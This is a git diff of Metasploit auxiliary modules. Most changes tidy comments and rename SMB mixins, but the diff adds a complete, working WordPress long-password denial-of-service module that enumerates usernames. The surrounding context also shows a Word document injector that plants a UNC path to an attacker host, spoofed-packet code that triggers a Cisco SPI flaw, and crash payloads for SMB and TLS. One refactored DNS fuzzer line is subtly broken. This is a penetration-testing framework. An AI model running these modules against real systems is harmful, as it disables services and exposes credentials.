# Start Thread from Outside Processing fromout = Thread.new do loop do outpcap.stream.each do |pkt| packet = PacketFu::Packet.parse(pkt) - #Build a shell packet that will never hit the wire as a hack to get desired mac's + # Build a shell packet that will never hit the wire as a hack to get desired mac's shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows") shell_pkt.ip_daddr = clientip shell_pkt.recalc - #Mangle Received Packet and Drop on the Wire + # Mangle Received Packet and Drop on the Wire packet.ip_saddr = serverip packet.ip_daddr = clientip packet.eth_saddr = shell_pkt.eth_saddr @@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary end end - #Start Thread from Inside Processing + # Start Thread from Inside Processing fromin = Thread.new do loop do inpcap.stream.each do |pkt| @@ -98,19 +98,19 @@ class Metasploit3 < Msf::Auxiliary packet.eth_daddr = bnatmac end - #Build a shell packet that will never hit the wire as a hack to get desired mac's + # Build a shell packet that will never hit the wire as a hack to get desired mac's shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows") shell_pkt.ip_daddr = serverip shell_pkt.recalc - #Mangle Received Packet and Drop on the Wire + # Mangle Received Packet and Drop on the Wire packet.eth_saddr = shell_pkt.eth_saddr packet.ip_saddr=shell_pkt.ip_saddr packet.recalc inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig ) inj.a2w(:array => [packet.to_s]) - #Trigger Cisco SPI Vulnerability by Double-tapping the SYN + # Trigger Cisco SPI Vulnerability by Double-tapping the SYN if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0 select(nil, nil, nil, 0.75) inj.a2w(:array => [packet.to_s]) diff --git a/modules/auxiliary/crawler/msfcrawler.rb b/modules/auxiliary/crawler/msfcrawler.rb index b9e873b557..7eb6ab4a4b 100644 --- a/modules/auxiliary/crawler/msfcrawler.rb +++ b/modules/auxiliary/crawler/msfcrawler.rb @@ -13,7 +13,6 @@ # openssl before rubygems mac os require 'msf/core' require 'openssl' -require 'rubygems' require 'rinda/tuplespace' require 'pathname' require 'uri' @@ -33,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('PATH', [true, "Starting crawling path", '/']), - OptInt.new('RPORT', [true, "Remote port", 80 ]), + OptInt.new('RPORT', [true, "Remote port", 80 ]) ], self.class) register_advanced_options([ @@ -47,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary OptInt.new('TakeTimeout', [ true, "Timeout for loop ending", 15]), OptInt.new('ReadTimeout', [ true, "Read timeout (-1 forever)", 3]), OptInt.new('ThreadNum', [ true, "Threads number", 20]), - OptString.new('DontCrawl', [true, "Filestypes not to crawl", '.exe,.zip,.tar,.bz2,.run,.asc,.gz']), + OptString.new('DontCrawl', [true, "Filestypes not to crawl", '.exe,.zip,.tar,.bz2,.run,.asc,.gz']) ], self.class) end diff --git a/modules/auxiliary/docx/word_unc_injector.rb b/modules/auxiliary/docx/word_unc_injector.rb index 805c91c5b0..5c047d181f 100644 --- a/modules/auxiliary/docx/word_unc_injector.rb +++ b/modules/auxiliary/docx/word_unc_injector.rb @@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - #here we create an empty .docx file with the UNC path. Only done when FILENAME is empty + # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty def make_new_file metadata_file_data = "" metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties" @@ -65,12 +65,12 @@ class Metasploit3 < Msf::Auxiliary metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">" metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>" - #where to find the skeleton files required for creating an empty document + # where to find the skeleton files required for creating an empty document data_dir = File.join(Msf::Config.data_directory, "exploits", "docx") zip_data = {} - #add skeleton files + # add skeleton files vprint_status("Adding skeleton files from #{data_dir}") Dir["#{data_dir}/**/**"].each do |file| if not File.directory?(file) @@ -78,19 +78,19 @@ class Metasploit3 < Msf::Auxiliary end end - #add on-the-fly created documents + # add on-the-fly created documents vprint_status("Adding injected files") zip_data["docProps/core.xml"] = metadata_file_data zip_data["word/_rels/settings.xml.rels"] = @rels_file_data - #add the otherwise skipped "hidden" file + # add the otherwise skipped "hidden" file file = "#{data_dir}/_rels/.rels" zip_data[file.sub(data_dir,'')] = File.read(file) - #and lets create the file + # and lets create the file zip_docx(zip_data) end - #here we inject an UNC path into an existing file, and store the injected file in FILENAME + # here we inject an UNC path into an existing file, and store the injected file in FILENAME def manipulate_file ref = "<w:attachedTemplate r:id=\"rId1\"/>" @@ -99,24 +99,24 @@ class Metasploit3 < Msf::Auxiliary return nil end - #lets extract our docx and store it in memory + # lets extract our docx and store it in memory zip_data = unzip_docx - #file to check for reference file we need + # file to check for reference file we need file_content = zip_data["word/settings.xml"] if file_content.nil? print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.") return nil end - #if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. + # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path. if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil? vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)") zip_data["word/_rels/settings.xml.rels"] = @rels_file_data # lets zip the end result zip_docx(zip_data) else - #now insert the reference to the file that will enable our malicious entry + # now insert the reference to the file that will enable our malicious entry insert_one = file_content.index("<w:defaultTabStop") if insert_one.nil? @@ -135,16 +135,16 @@ class Metasploit3 < Msf::Auxiliary return nil end - #update the files that contain the injection and reference + # update the files that contain the injection and reference zip_data["word/settings.xml"] = file_content zip_data["word/_rels/settings.xml.rels"] = @rels_file_data - #lets zip the file + # lets zip the file zip_docx(zip_data) end return 0 end - #making the actual docx from the hash + # making the actual docx from the hash def zip_docx(zip_data) docx = Rex::Zip::Archive.new zip_data.each_pair do |k,v| @@ -153,11 +153,11 @@ class Metasploit3 < Msf::Auxiliary file_create(docx.pack) end - #unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way + # unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way def unzip_docx - #Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File + # Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File vprint_status("Extracting #{datastore['SOURCE']} into memory.") - #we read it all into memory + # we read it all into memory zip_data = Hash.new begin Zip::File.open(datastore['SOURCE']) do |filezip| @@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary def run - #we need this in make_new_file and manipulate_file + # we need this in make_new_file and manipulate_file @rels_file_data = "" @rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp @rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp @@ -182,11 +182,11 @@ class Metasploit3 < Msf::Auxiliary @rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>" if "#{datastore['SOURCE']}" == "" - #make an empty file + # make an empty file print_status("Creating empty document that points to #{datastore['LHOST']}.") make_new_file else - #extract the word/settings.xml and edit in the reference we need + # extract the word/settings.xml and edit in the reference we need print_status("Injecting UNC path into existing document.") if manipulate_file.nil? print_error("Failed to create a document from #{datastore['SOURCE']}.") diff --git a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb index b7c7a8c4b5..987fee1046 100644 --- a/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb +++ b/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb @@ -58,8 +58,8 @@ class Metasploit4 < Msf::Auxiliary } # XXX: There is rarely, if ever, a need for a 'for' loop in Ruby - # This should be rewritten with 1.upto() or Enumerable#each or - # something + # This should be rewritten with 1.upto() or Enumerable#each or + # something for x in 1..datastore['RLIMIT'] print_status("Sending request #{x} to #{peer}") begin diff --git a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb index ac865d52a2..0974305d95 100644 --- a/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb +++ b/modules/auxiliary/dos/http/apache_tomcat_transfer_encoding.rb @@ -21,9 +21,9 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Steve Jones', #original discoverer - 'Hoagie <andi[at]void.at>', #original public exploit - 'Paulino Calderon <calderon[at]websec.mx>', #metasploit module + 'Steve Jones', # original discoverer + 'Hoagie <andi[at]void.at>', # original public exploit + 'Paulino Calderon <calderon[at]websec.mx>', # metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb new file mode 100644 index 0000000000..0601abe005 --- /dev/null +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http://www.metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'WordPress Long Password DoS', + 'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x + before 4.0.1 allows remote attackers to cause a denial of service + (CPU consumption) via a long password that is improperly handled + during hashing.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Javier Nieto Arevalo', # Vulnerability disclosure + 'Andres Rojas Guerrero', # Vulnerability disclosure + 'Rob Carr <rob[at]rastating.com>' # Metasploit module + ], + 'References' => + [ + ['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'], + ['OSVDB', '114857'], + ['WPVDB', '7681'] + ], + 'DisclosureDate' => 'Nov 20 2014' + )) + + register_options( + [ + OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]), + OptInt.new('RLIMIT', [true, 'The number of requests to send', 200]), + OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]), + OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), + OptString.new('USERNAME', [true, 'The username to send the requests with', '']), + OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true]) + ], self.class) + end + + def rlimit + datastore['RLIMIT'] + end + + def plength + datastore['PLENGTH'] + end + + def username + datastore['USERNAME'] + end + + def validate_user + datastore['VALIDATE_USER'] + end + + def thread_count + datastore['THREADS'] + end + + def timeout + datastore['TIMEOUT'] + end + + def user_exists(user) + exists = wordpress_user_exists?(user) + if exists + print_good("#{peer} - Username \"#{username}\" is valid") + report_auth_info( + :host => rhost, + :sname => (ssl ? 'https' : 'http'), + :user => user, + :port => rport, + :proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}" + ) + + return true + else + print_error("#{peer} - \"#{user}\" is not a valid username") + return false + end + end + + def run + if wordpress_and_online? + if validate_user + print_status("#{peer} - Checking if user \"#{username}\" exists...") + unless user_exists(username) + print_error('Aborting operation - a valid username must be specified') + return + end + end + + starting_thread = 1 + while starting_thread < rlimit do + ubound = [rlimit - (starting_thread - 1), thread_count].min + print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") + + threads = [] + 1.upto(ubound) do |i| + threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| + begin + wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) + rescue => e + print_error("#{peer} - Timed out during request #{(starting_thread - 1) + i}") + end + end + end + + threads.each(&:join) + print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + starting_thread += ubound + end + + if wordpress_and_online? + print_error("#{peer} - FAILED: #{target_uri} appears to still be online") + else + print_good("#{peer} - SUCCESS: #{target_uri} appears to be down") + end + else + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + end + end +end diff --git a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb index 3c6857deed..ec88b8823a 100644 --- a/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_addprivs_heap.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) @@ -51,9 +51,9 @@ class Metasploit3 < Msf::Auxiliary dcerpc_bind(handle) print_status("Bound to #{handle} ...") - # Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+) + # Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+) # Mac OS X: PC control via memcpy to stack ptr - # Solaris: PC control via memcpy to stack ptr + # Solaris: PC control via memcpy to stack ptr stub = lsa_open_policy(dcerpc) stub << NDR.long(1) diff --git a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb index 5fa563df2b..34a5af994f 100644 --- a/modules/auxiliary/dos/samba/lsa_transnames_heap.rb +++ b/modules/auxiliary/dos/samba/lsa_transnames_heap.rb @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb index 9be9093920..a550c617b1 100644 --- a/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb +++ b/modules/auxiliary/dos/samba/read_nttrans_ea_list.rb @@ -9,7 +9,7 @@ require 'rex/proto/smb' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB::Authenticated + include Msf::Exploit::Remote::SMB::Client::Authenticated TRANS2_PARAM = Rex::Struct2::CStructTemplate.new( [ 'uint16v', 'FID', 0 ], diff --git a/modules/auxiliary/dos/ssl/openssl_aesni.rb b/modules/auxiliary/dos/ssl/openssl_aesni.rb index 85588e2ade..47380dda07 100644 --- a/modules/auxiliary/dos/ssl/openssl_aesni.rb +++ b/modules/auxiliary/dos/ssl/openssl_aesni.rb @@ -42,32 +42,32 @@ class Metasploit4 < Msf::Auxiliary def run # Client Hello - p1 = "\x16" # Content Type: Handshake + p1 = "\x16" # Content Type: Handshake p1 << "\x03\x01" # Version: TLS 1.0 p1 << "\x00\x7e" # Length: 126 - p1 << "\x01" # Handshake Type: Client Hello + p1 << "\x01" # Handshake Type: Client Hello p1 << "\x00\x00\x7a" # Length: 122 p1 << "\x03\x02" # Version: TLS 1.1 p1 << ("A" * 32) # Random - p1 << "\x00" # Session ID Length: 0 + p1 << "\x00" # Session ID Length: 0 p1 << "\x00\x08" # Cypher Suites Length: 6 p1 << "\xc0\x13" # - ECDHE-RSA-AES128-SHA p1 << "\x00\x39" # - DHE-RSA-AES256-SHA p1 << "\x00\x35" # - AES256-SHA p1 << "\x00\xff" # - EMPTY_RENEGOTIATION_INFO_SCSV - p1 << "\x01" # Compression Methods Length: 1 - p1 << "\x00" # - NULL-Compression + p1 << "\x01" # Compression Methods Length: 1 + p1 << "\x00" # - NULL-Compression p1 << "\x00\x49" # Extensions Length: 73 p1 << "\x00\x0b" # - Extension: ec_point_formats p1 << "\x00\x04" # Length: 4 - p1 << "\x03" # EC Points Format Length: 3 - p1 << "\x00" # - uncompressed - p1 << "\x01" # - ansiX962_compressed_prime - p1 << "\x02" # - ansiX962_compressed_char2 + p1 << "\x03" # EC Points Format Length: 3 + p1 << "\x00" # - uncompressed + p1 << "\x01" # - ansiX962_compressed_prime + p1 << "\x02" # - ansiX962_compressed_char2 p1 << "\x00\x0a" # - Extension: elliptic_curves p1 << "\x00\x34" # Length: 52 p1 << "\x00\x32" # Elliptic Curves Length: 50 - # 25 Elliptic curves: + # 25 Elliptic curves: p1 << "\x00\x0e\x00\x0d\x00\x19\x00\x0b\x00\x0c\x00\x18\x00\x09\x00\x0a" p1 << "\x00\x16\x00\x17\x00\x08\x00\x06\x00\x07\x00\x14\x00\x15\x00\x04" p1 << "\x00\x05\x00\x12\x00\x13\x00\x01\x00\x02\x00\x03\x00\x0f\x00\x10" @@ -77,7 +77,7 @@ class Metasploit4 < Msf::Auxiliary p1 << "\x00\x00" # Length: 0 p1 << "\x00\x0f" # - Extension: Heartbeat p1 << "\x00\x01" # Length: 1 - p1 << "\x01" # Peer allowed to send requests + p1 << "\x01" # Peer allowed to send requests # Change Cipher Spec Message @@ -97,12 +97,12 @@ class Metasploit4 < Msf::Auxiliary # Client Key Exchange, Change Cipher Spec, Encrypted Handshake # AES256-SHA p2_aes_sha = "\x16" # Content Type: Handshake - p2_aes_sha << "\x03\x02" # Version: TLS 1.1 - p2_aes_sha << "\x01\x06" # Length: 262 + p2_aes_sha << "\x03\x02" # Version: TLS 1.1 + p2_aes_sha << "\x01\x06" # Length: 262 p2_aes_sha << "\x10" # Handshake Type: Client Key Exchange - p2_aes_sha << "\x00\x01\x02" # Length: 258 - p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 - p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) + p2_aes_sha << "\x00\x01\x02" # Length: 258 + p2_aes_sha << "\x01\x00" # Encrypted PreMaster Length: 256 + p2_aes_sha << ("\x00" * 256) # Encrypted PresMaster (irrelevant) p2_aes_sha << p2_cssm # Change Cipher Spec Message p2_aes_sha << p2_ehm # Encrypted Handshake Message @@ -112,7 +112,7 @@ class Metasploit4 < Msf::Auxiliary p2_dhe << "\x03\x02" # Version: TLS 1.1 p2_dhe << "\x00\x46" # Length: 70 p2_dhe << "\x10" # Handshake Type: Client Key Exchange - p2_dhe << "\x00\x00\x42" # Length: 66 + p2_dhe << "\x00\x00\x42" # Length: 66 p2_dhe << "\x00\x40" # DH Pubkey Length: 64 p2_dhe << ("A" * 64) # DH Pubkey p2_dhe << p2_cssm # Change Cipher Spec Message @@ -124,9 +124,9 @@ class Metasploit4 < Msf::Auxiliary p2_ecdhe << "\x03\x02" # Version: TLS 1.1 p2_ecdhe << "\x00\x46" # Length: 70 p2_ecdhe << "\x10" # Handshake Type: Client Key Exchange - p2_ecdhe << "\x00\x00\x42" # Length: 66 + p2_ecdhe << "\x00\x00\x42" # Length: 66 p2_ecdhe << "\x41" # EC DH Pubkey Length: 65 - # EC DH Pubkey: + # EC DH Pubkey: p2_ecdhe << "\x04\x2f\x22\xf4\x06\x3f\xa1\xf7\x3d\xb6\x55\xbc\x68\x65\x57\xd8" p2_ecdhe << "\x03\xe5\xaa\x36\xeb\x0f\x52\x5a\xaf\xd0\x9f\xf8\xc7\xfe\x09\x69" p2_ecdhe << "\x5b\x38\x95\x58\xb6\x0d\x27\x53\xe9\x63\xcb\x96\xb3\x54\x47\xa6" diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index ec904e1f1e..dc8ec4092e 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary end def run - #Attempt to crash IIS FTP + # Attempt to crash IIS FTP begin return unless connect_login print_status('Checking if there is at least one directory ...') diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 5dd3d2a7da..b2288b7b1c 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -21,9 +21,9 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'x000 <3d3n[at]hotmail.com.br>', #Initial disclosure/exploit - 'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', #Metasploit submission - 'sinn3r', #Metasploit edit/commit + 'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit + 'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission + 'sinn3r', # Metasploit edit/commit ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/auxiliary/dos/windows/games/kaillera.rb b/modules/auxiliary/dos/windows/games/kaillera.rb index 7188f3bc22..465897fac2 100644 --- a/modules/auxiliary/dos/windows/games/kaillera.rb +++ b/modules/auxiliary/dos/windows/games/kaillera.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary end def run - #Send HELLO to target + # Send HELLO to target connect_udp print_status("Sending Crash request...") udp_sock.put("HELLO0.83\0") @@ -44,13 +44,13 @@ class Metasploit3 < Msf::Auxiliary return end - #Send DOS packet + # Send DOS packet connect_udp(global = true,'RPORT' => port) print_status("Sending DoS packet to #{rhost}:#{port}...") udp_sock.put("Kthxbai") disconnect_udp - #Check is target is down + # Check is target is down connect_udp print_status("Checking target...") udp_sock.put("HELLO0.83\0") diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index ad1cae1beb..79d649c253 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index caeb334545..fffd69b8dd 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index cd801fecb8..f60c224d7d 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -9,7 +9,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb index 73b2e35230..65d494e2a3 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_001_write.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_001_write.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Auxiliary pkt['Payload'].v['DataLenLow'] = dlenlow #<================== pkt['Payload'].v['DataOffset'] = doffset #<==== pkt['Payload'].v['DataOffsetHigh'] = 0xcccccccc #<==== - pkt['Payload'].v['ByteCount'] = fillersize#<==== + pkt['Payload'].v['ByteCount'] = fillersize #<==== pkt['Payload'].v['Payload'] = filler simple.client.smb_send(pkt.to_s) diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index c1e5a03473..25fec756b7 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -5,7 +5,7 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index ae6771154d..51fa2bab02 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -6,7 +6,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Udp - #include Msf::Exploit::Remote::SMB + #include Msf::Exploit::Remote::SMB::Client include Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 5d418041f0..2ba38d2064 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -11,7 +11,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::SMB::Client include Msf::Auxiliary::Dos def initialize(info = {}) diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index f7fffb96db..de18f018d1 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -40,9 +40,9 @@ class Metasploit3 < Msf::Auxiliary delimiter = "\x00"*3 packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, - 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, - 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, - 0x00, 0x7e].pack("C*") + 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, + 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, + 0x00, 0x7e].pack("C*") packet << Rex::Text.rand_text_alphanumeric(126) packet << delimiter packet << Rex::Text.rand_text_alphanumeric(16) diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 4a5b0c6401..1972f99d76 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -330,22 +330,17 @@ class Metasploit3 < Msf::Auxiliary end def fix_variables - if datastore['OPCODE'] == "" - datastore['OPCODE'] = "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" - end - if datastore['CLASS'] == "" - datastore['CLASS'] = "IN,CH,HS,NONE,ANY" - end - if datastore['RR'] == "" - datastore['RR'] = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," - datastore['RR'] << "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," - datastore['RR'] << "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," - datastore['RR'] << "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," - datastore['RR'] << "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," - datastore['RR'] << "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," - datastore['RR'] << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," - datastore['RR'] << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - end + @fuzz_opcode = datastore['OPCODE'].blank? ? "QUERY,IQUERY,STATUS,UNASSIGNED,NOTIFY,UPDATE" : datastore['OPCODE'] + @fuzz_class = datastore['CLASS'].blank? ? "IN,CH,HS,NONE,ANY" : datastore['CLASS'] + fuzz_rr_queries = "A,NS,MD,MF,CNAME,SOA,MB,MG,MR,NULL,WKS,PTR," << + "HINFO,MINFO,MX,TXT,RP,AFSDB,X25,ISDN,RT," << + "NSAP,NSAP-PTR,SIG,KEY,PX,GPOS,AAAA,LOC,NXT," << + "EID,NIMLOC,SRV,ATMA,NAPTR,KX,CERT,A6,DNAME," << + "SINK,OPT,APL,DS,SSHFP,IPSECKEY,RRSIG,NSEC," << + "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << + "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << + "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" + @fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) @@ -381,7 +376,7 @@ class Metasploit3 < Msf::Auxiliary if @domain == nil print_status("DNS Fuzzer: DOMAIN could be set for health check but not mandatory.") end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") opcode = setup_opcode(nsopcode) opcode.unpack("n*").each do |dnsOpcode| 1.upto(iter) do @@ -414,11 +409,11 @@ class Metasploit3 < Msf::Auxiliary nsclass << req[:class] nsentry << req[:name] end - nsopcode=datastore['OPCODE'].split(",") + nsopcode=@fuzz_opcode.split(",") else - nsreq=datastore['RR'].split(",") - nsopcode=datastore['OPCODE'].split(",") - nsclass=datastore['CLASS'].split(",") + nsreq=@fuzz_rr.split(",") 